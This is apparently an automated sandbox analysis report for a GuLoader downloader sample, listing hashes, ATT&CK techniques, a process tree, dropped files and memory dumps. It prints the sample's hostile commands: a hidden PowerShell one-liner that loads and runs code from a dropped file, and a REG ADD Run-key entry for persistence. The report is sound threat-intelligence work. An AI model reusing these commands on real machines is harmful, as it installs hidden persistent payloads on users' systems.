guloader | 4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7

General

Target

MalwareBazaar.exe
Size

398KB
MD5

b1c35e78f5d588430c4f534479def9f2
SHA1

f787dd3327ca04361935f74867f76f16821db99f
SHA256

4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7
SHA512

5f78e6794ae313f5ca96c33fe0ecf0c882a18a93caa54bf92823ac42c5c753b6a98d4c77618de2b62cbc9d24e6e500272e4ffa7b25afff20b7e8349fc278a66c
SSDEEP

12288:9GkmNVhJhqnfP30YhNia+nv4tQD3W/P19QY:9GkmPh7qfPrsQeD3W/bd

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ortyginae = "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\\Audiometeret\\').Rudolph;%Monopolizables% ($masturbated)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2832	wab.exe
2832	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2192	powershell.exe
2832	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2192 set thread context of 2832	2192	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1656	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe
2192	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 2192	2396	MalwareBazaar.exe	30
PID 2396 wrote to memory of 2192	2396	MalwareBazaar.exe	30
PID 2396 wrote to memory of 2192	2396	MalwareBazaar.exe	30
PID 2396 wrote to memory of 2192	2396	MalwareBazaar.exe	30
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2192 wrote to memory of 2832	2192	powershell.exe	34
PID 2832 wrote to memory of 2780	2832	wab.exe	35
PID 2832 wrote to memory of 2780	2832	wab.exe	35
PID 2832 wrote to memory of 2780	2832	wab.exe	35
PID 2832 wrote to memory of 2780	2832	wab.exe	35
PID 2780 wrote to memory of 1656	2780	cmd.exe	37
PID 2780 wrote to memory of 1656	2780	cmd.exe	37
PID 2780 wrote to memory of 1656	2780	cmd.exe	37
PID 2780 wrote to memory of 1656	2780	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Vangede=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid';$Spondylotomy=$Vangede.SubString(70479,3);.$Spondylotomy($Vangede)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Boomless.Fag

Filesize
344KB

MD5
1a78d0f226d0db154812e61b8cadb4b8

SHA1
e76650e32ed8bc1e3d72dde1aa6566ff031e0c6e

SHA256
19997e372b58bcd5bacd8b199b1633307f0c89fc3ce7abfd4087ec739742f78e

SHA512
b06759e8bfeb73187c5277aaaa9c6489f51a88f42b461ec0775de6741f6b797dc3c2cbb8f6cf79815078a420a26cde9cedd861c4d16ac73a037e2160efc4ec41

Download Submit
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid

Filesize
68KB

MD5
d89dac6d6bcfb431c31bdf7d21f48fbd

SHA1
2f55f2b77da6a9078c7bb90fd87b205c9c4cf3b9

SHA256
ffeacf6c0a98133600a0f1de25732fb4b22b06af6921edd316e52a6d7837359b

SHA512
76eb9025c18fd7661cb72d47c7eda57a45304594e5aea32fe73b1dd94ec9db81753726f83e6d9f82924c3b9295eef4725dbaa7d633963ac8e8e91b7444346070

Download Submit
memory/2192-18-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-14-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-15-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-12-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-11-0x0000000073CB1000-0x0000000073CB2000-memory.dmp

Filesize
4KB

Download
memory/2192-13-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-20-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2192-21-0x0000000006660000-0x00000000091FE000-memory.dmp

Filesize
43.6MB

Download
memory/2192-22-0x0000000073CB0000-0x000000007425B000-memory.dmp

Filesize
5.7MB

Download
memory/2832-39-0x0000000000AE0000-0x0000000001B42000-memory.dmp

Filesize
16.4MB

Download
memory/2832-46-0x0000000001B50000-0x00000000046EE000-memory.dmp

Filesize
43.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads